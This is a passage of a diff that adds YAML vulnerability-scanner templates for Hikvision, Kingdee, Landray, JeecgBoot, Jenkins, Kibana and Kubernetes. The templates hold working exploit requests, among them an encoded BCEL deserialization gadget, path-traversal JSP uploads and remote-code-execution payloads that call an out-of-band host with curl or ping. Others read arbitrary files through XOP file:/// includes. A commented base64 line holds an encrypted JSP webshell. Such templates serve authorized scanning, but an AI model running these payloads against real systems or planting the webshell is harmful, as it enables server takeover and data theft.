+        {"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}
+    expression: response.status == 200  && response.body.bcontains(b'Windows IP')
+expression: r0()

webscan/pocs/hikvision-files-upload.yaml

@@ -0,0 +1,37 @@
+id: hikvision-files-upload
+
+info:
+  name: Hikvision Files Upload
+  author: ciyixi
+  severity: critical
+  verified: true
+  tags: hikvision,upload
+  created: 2023/06/25
+
+set:
+    rboundary: randomLowercase(8)
+    randbody: randomLowercase(32)
+    randstr: randomLowercase(10)
+    # bbody: base64Decode("PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0NCiU+PCV0cnl7Ynl0ZVtdIGRhdGE9bmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChyZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1MZW5ndGgiKSldO2phdmEuaW8uSW5wdXRTdHJlYW0gaW5wdXRTdHJlYW09IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTtpbnQgX251bT0wO3doaWxlICgoX251bSs9aW5wdXRTdHJlYW0ucmVhZChkYXRhLF9udW0sZGF0YS5sZW5ndGgpKTxkYXRhLmxlbmd0aCk7ZGF0YT14KGRhdGEsIGZhbHNlKTtpZiAoc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoInBheWxvYWQiKT09bnVsbCl7c2Vzc2lvbi5zZXRBdHRyaWJ1dGUoInBheWxvYWQiLG5ldyBYKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5RKGRhdGEpKTt9ZWxzZXtyZXF1ZXN0LnNldEF0dHJpYnV0ZSgicGFyYW1ldGVycyIsIGRhdGEpO09iamVjdCBmPSgoQ2xhc3Mpc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTtqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQ9bmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7Zi5lcXVhbHMoYXJyT3V0KTtmLmVxdWFscyhwYWdlQ29udGV4dCk7Zi50b1N0cmluZygpO3Jlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTt9IH1jYXRjaCAoRXhjZXB0aW9uIGUpe30NCiU+")
+rules:
+  r0:
+    request:
+      method: POST
+      path: "/center/api/files;.js"
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"upload\";filename=\"../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{{randstr}}.jsp\"\r\n\
+        Content-Type:image/jpeg\r\n\
+        \r\n\
+        <%out.println(\"{{randbody}}\");%>\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200
+  r1:
+    request:
+      method: GET
+      path: /clusterMgr/{{randstr}}.jsp;.js
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/jeecg-getdatasourcebypage-disclosure.yaml

@@ -0,0 +1,27 @@
+id: jeecg-getdatasourcebypage-disclosure
+
+info:
+  name: JeecgBoot - GetDataSourceByPage Disclosure
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    fofa: app="jeecg-boot"
+  tags: jeecgboot,disclosure
+  created: 2026/01/08
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /jmreport/getDataSourceByPage
+    expression: |
+      response.status == 200 && 
+      "Content-Type" in response.headers &&
+      response.headers['Content-Type'].icontains('application/json') &&
+      response.body.ibcontains(b'"success":true') &&
+      response.body.ibcontains(b'"dbUsername":') &&
+      response.body.ibcontains(b'"dbPassword":') &&
+      response.body.ibcontains(b'"dbType":') &&
+      response.body.ibcontains(b'"dbUrl":')
+expression: r0()

webscan/pocs/jenkins-dashboard-unauth.yaml

@@ -0,0 +1,21 @@
+id: jenkins-dashboard-unauth
+
+info:
+  name: Jenkins Dashboard 未授权访问
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Jenkins Dashboard 未授权访问
+    fofa: app="Jenkins"
+  tags: jenkins,unauth
+  created: 2024/01/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /
+      follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(b'Dashboard') && response.body.bcontains(b'Jenkins')
+expression: r0()

webscan/pocs/jindie-eas-autologin-rce.yaml

@@ -0,0 +1,29 @@
+id: jindie-eas-autologin-rce
+
+info:
+  name: 金蝶 EAS Cloud autoLogin.jsp 远程代码执行漏洞
+  author: avic123
+  severity: critical
+  verified: true
+  description: |-
+    金蝶 EAS Cloud 是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。金蝶 EAS Cloud 的autoLogin.jsp 路径存在远程代码执行漏洞，攻击者可以利用这个漏洞注入恶意代码，从而控制服务器，进行包括数据窃取、网站篡改、服务器资源滥用等在内的多种恶意行为。
+    fofa: app="Kingdee-EAS"
+  reference:
+    - https://vip.bdziyi.com/58091/
+  tags: jindie,EAS,rce
+  created: 2025/8/19
+
+set:
+  hostname: request.url.host
+rules:
+  r0:
+    request:
+      method: POST
+      path: /easportal/autoLogin.jsp
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        defaultPage=/autoLogin.jsp%3fdefaultPage%3d/BIReport%26json%3d1%2529%253Bvar%2520cc%253Dnew%2520Array%2528%2527%252Fbin%252Fsh%2527%252C%2520%2527-c%2527%252C%2520%2527curl%2520http%253A%252F%252F{{{{oob.DNS}}}}%252FQ12345%2527%2529%253Bjava.lang.Runtime.getRuntime%2528%2529.exec%2528cc%2529%253B%252F%
+    expression: response.status == 200 && oobCheck(oob.ProtocolDNS, 5)
+
+expression: r0()

webscan/pocs/kibana-unauth.yaml

@@ -0,0 +1,19 @@
+id: kibana-unauth
+
+info:
+  name: Kibana Unauth
+  author: Isaac
+  severity: high
+  verified: true
+  description: |-
+    Kibana Unauth
+  tags: kibana,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /app/kibana
+    expression: response.status == 200 && response.body.bcontains(b".kibanaWelcomeView")
+expression: r0()

webscan/pocs/kingdee-oa-apusic-server-file-traversal.yaml

@@ -0,0 +1,22 @@
+id: kingdee-oa-apusic-server-file-traversal
+
+info:
+  name: 金蝶OA Apusic应用服务器(中间件) server_file 目录遍历
+  author: zan8in
+  severity: low
+  verified: true
+  description: |-
+    金蝶Apusic应用服务器是国内第一个通过J2EE测试认证的应用服务器，全球第四家获得JavaEE 5.0认证授权的产品，完全实现J2EE等企业计算相关的工业规范及标准代码简洁优化，具备了数据持久性、事务完整性、消息传输的可靠性、集群功能的高可用性、以及跨平台的支持等特点。金蝶Apusic应用服务器 server_file处存在目录遍历漏洞，攻击者可以从其中获取网站路径等敏感信息进一步攻击。
+    fofa: app="Apusic-公司产品" && title=="欢迎使用Apusic应用服务器"
+  reference:
+    - https://mp.weixin.qq.com/s/ZTZ0XPOtSZn0Mg_ZSA1L6Q
+  tags: kingdee,directory-traversal
+  created: 2023/10/13
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /admin/protected/selector/server_file/files?folder=/
+    expression: response.status==200 && response.body.bcontains(b'"total":') && response.body.bcontains(b'"rows":') && response.body.bcontains(b'"name":') && response.body.bcontains(b'"path":') && response.body.bcontains(b'"folder":')
+expression: r0()

webscan/pocs/kubernetes-metrics.yaml

@@ -0,0 +1,21 @@
+id: kubernetes-metrics
+
+info:
+  name: Detect Kubernetes Exposed Metrics
+  author: pussycat0x
+  severity: low
+  verified: false
+  description: |-
+    Information Disclosure of Garbage Collection
+  reference:
+    - https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/#metrics-in-kubernetes
+  tags: kubernetes,metrics,detect
+  created: 2024/01/05
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /metrics
+    expression: response.status == 200 && response.body.bcontains(b"namespace") && response.body.bcontains(b"HELP") && response.body.bcontains(b"TYPE") && response.body.bcontains(b"kube")
+expression: r0()

webscan/pocs/kubernetes-pods-api.yaml

@@ -0,0 +1,33 @@
+id: kubernetes-pods-api
+
+info:
+  name: Kubernetes Pods - API Discovery & Remote Code Execution
+  author: ilovebinbash,geeknik,0xtavian
+  severity: critical
+  description: |-
+    A Kubernetes Pods API was discovered. When the service port is available, unauthenticated users can execute commands inside the container.
+  reference:
+    - https://github.com/officialhocc/Kubernetes-Kubelet-RCE
+    - https://blog.binaryedge.io/2018/12/06/kubernetes-being-hijacked-worldwide/
+  tags: k8,unauth,kubernetes,devops,misconfig
+  created: 2025/07/14
+
+rules:
+  r0:
+    brute:
+      mode: clusterbomb
+      commit: winner
+      continue: false
+      p:
+        - /pods
+        - /api/v1/pods
+        - /runningpods/
+    request:
+      method: GET
+      path: "{{p}}"
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'"apiVersion":') &&
+      response.body.bcontains(b'"items":') &&
+      response.body.bcontains(b'"kind":')
+expression: r0()

webscan/pocs/kubernetes-unauth.yaml

@@ -0,0 +1,19 @@
+id: kubernetes-unauth
+
+info:
+  name: kubernetes Unauth
+  author: mumu0215
+  severity: high
+  verified: false
+  description: |-
+    kubernetes Unauth
+  tags: kubernetes,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /api/v1/nodes
+    expression: 'response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"kubeletVersion\": \"v") && response.body.bcontains(b"\"containerRuntimeVersion\"")'
+expression: r0()

webscan/pocs/kubernetes-version.yaml

@@ -0,0 +1,19 @@
+id: kubernetes-version
+
+info:
+  name: Kubernetes Version Exposure
+  author: raesene
+  severity: info
+  verified: true
+  description: |-
+    Searches for exposed Kubernetes API servers which return version information unauthenticated
+  tags: kubernetes,version,detect
+  created: 2024/01/05
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /version
+    expression: response.status == 200 && response.body.bcontains(b"gitVersion") && response.body.bcontains(b"goVersion") && response.body.bcontains(b"platform")
+expression: r0()

webscan/pocs/landary-eis-saveimg-fileupload.yaml

@@ -0,0 +1,41 @@
+id: landray-eis-saveimg-fileupload
+
+info:
+  name: 蓝凌EIS智慧协同平台任意文件上传
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    fofa: icon_hash="953405444"
+    zoomeye: app:"蓝凌EIS智慧协同平台"
+  tags: landray,fileupload
+  created: 2023/10/18
+
+set:
+  randstr: randomLowercase(10)
+  randbody: randomLowercase(32)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /eis/service/api.aspx?action=saveImg
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"filename=\"{{randstr}}.asp\"\r\n\
+        Content-Type: text/html\r\n\
+        \r\n\
+        {{randbody}}\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200 && response.body.bcontains(b'/files/editor_img')
+    output:
+      filename: string(response.body)
+  r1:
+    request:
+      method: GET
+      path: /{{filename}}
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/landray-dataxml-jsp-rce.yaml

@@ -0,0 +1,52 @@
+id: landray-dataxml-jsp-rce
+
+info:
+  name: 蓝凌OA dataxml.jsp 远程命令执行漏洞
+  author: avic123
+  severity: critical
+  verified: true
+  description: |-
+    蓝凌OA dataxml.jsp 存在远程命令执行漏洞
+    fofa: app="Landray-OA系统"
+  reference:
+    - https://cn-sec.com/archives/3026864.html
+  tags: Landray,ekp,rce
+  created: 2025/1/16
+
+set:
+  hostname: request.url.host
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/ui/sys_ui_component/sysUiComponent.do
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
+        X-Requested-With: XMLHttpRequest
+      body: |
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="method"
+
+        replaceExtend
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="extendId"
+
+        ../../../../resource/help/km/review/
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="folderName"
+
+        ../../../ekp/sys/common
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51--
+    expression: response.status == 200 && "1".bmatches(response.body)
+  r1:
+    request:
+      method: POST
+      path: /resource/help/kms/knowledge/dataxml.jsp
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        s_bean=ruleFormulaValidate&script=try {String cmd = "curl+{{oob.HTTP}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}
+    expression: response.status == 200 && oobCheck(oob.ProtocolHTTP, 3)
+
+expression: r0() && r1()

webscan/pocs/landray-ekp-sysFormMainDataInsystemWebservice-fileread.yaml

@@ -0,0 +1,50 @@
+id: landray-ekp-sysFormMainDataInsystemWebservice-fileread
+
+info:
+  name: Landray EKP sysFormMainDataInsystemWebservice File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray EKP System sysFormMainDataInsystemWebservice interface has an arbitrary file read vulnerability.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3sysFormMainDataInsystemWebservice%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+  hostname: request.url.host
+
+rules:
+  r0:
+    request:
+      raw: |-
+        POST /sys/webservice/sysFormMainDataInsystemWebservice HTTP/1.1
+        Host: {{hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
+        Connection: close
+        Content-Type: multipart/related; boundary=----{{rboundary}}
+        SOAPAction: 
+        Accept-Encoding: gzip, deflate
+
+        ------{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.maindata.xform.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getData>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getData>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------{{rboundary}}--
+    expression: |
+      response.status == 500 &&
+      response.body.ibcontains(b'Unmarshalling Error:')
+expression: r0()

webscan/pocs/landray-oa-datajson-rce.yaml

@@ -0,0 +1,24 @@
+id: landray-oa-datajson-rce
+
+info:
+  name: Landray OA Datajson RCE
+  author: xpoc
+  severity: critical
+  verified: true
+  description: |-
+    Landray Office Automation (OA) software, specifically in the "s_bean" component's "sysFormulaSimulateByJS" functionality. This vulnerability allows remote code execution (RCE), enabling attackers to execute arbitrary code on a target system.
+    fofa: app="Landray-OA系统"
+  reference:
+    - https://github.com/k3sc/Landray-oa-rce-1/blob/main/poc.py
+    - https://github.com/hktalent/scan4all/blob/main/pocs_go/landray/Landray_RCE.go
+    - https://github.com/zan8in/afrog/v3/blob/main/v2/pocs/afrog-pocs/vulnerability/landray-oa-datajson-rce.yaml
+  tags: landray,rce
+  created: 2023/06/22
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=%66%75%6e%63%74%69%6f%6e%20%74%65%73%74%28%29%7b%20%72%65%74%75%72%6e%20%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%7d%3b%72%3d%74%65%73%74%28%29%3b%72%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%70%69%6e%67%20%2d%63%20%34%20{{oob.DNS}}%22%29&type=1
+    expression: oobCheck(oob.ProtocolDNS, 5)
+expression: r0()

webscan/pocs/landray-oa-kmImeetingBookWebService-fileread.yaml

@@ -0,0 +1,48 @@
+id: landray-oa-kmImeetingBookWebService-fileread
+info:
+  name: Landray OA kmImeetingBookWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System kmImeetingBookWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getImeetingBookLists method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/9f20511bb02d7babac30c47f48a72d427b7f5a3b/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+  hostname: request.url.host
+rules:
+  r0:
+    request:
+      raw: |-
+        POST /sys/webservice/kmImeetingBookWebService HTTP/1.1
+        Host: {{hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
+        Connection: close
+        Content-Type: multipart/related; boundary=----{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+
+        ------{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.imeeting.km.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getImeetingBookLists>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getImeetingBookLists>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+
+expression: r0()

webscan/pocs/landray-oa-kmImeetingResWebService-fileread.yaml

@@ -0,0 +1,45 @@
+id: landray-oa-kmImeetingResWebService-fileread
+info:
+  name: Landray OA kmImeetingResWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System kmImeetingResWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getKmimeetingResById method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3sysFormMainDataInsystemWebservice%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/kmImeetingResWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.imeeting.km.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getKmimeetingResById>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getKmimeetingResById>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+
+expression: r0()

webscan/pocs/landray-oa-loginWebserviceService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-loginWebserviceService-fileread
+info:
+  name: Landray OA loginWebserviceService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System loginWebserviceService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getLoginSessionId method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/9f20511bb02d7babac30c47f48a72d427b7f5a3b/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/loginWebserviceService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://sso.authentication.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getLoginSessionId>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getLoginSessionId>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysNotifyTodoWebService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-sysNotifyTodoWebService-fileread
+info:
+  name: Landray OA sysNotifyTodoWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System sysNotifyTodoWebService interface has an arbitrary file read vulnerability.
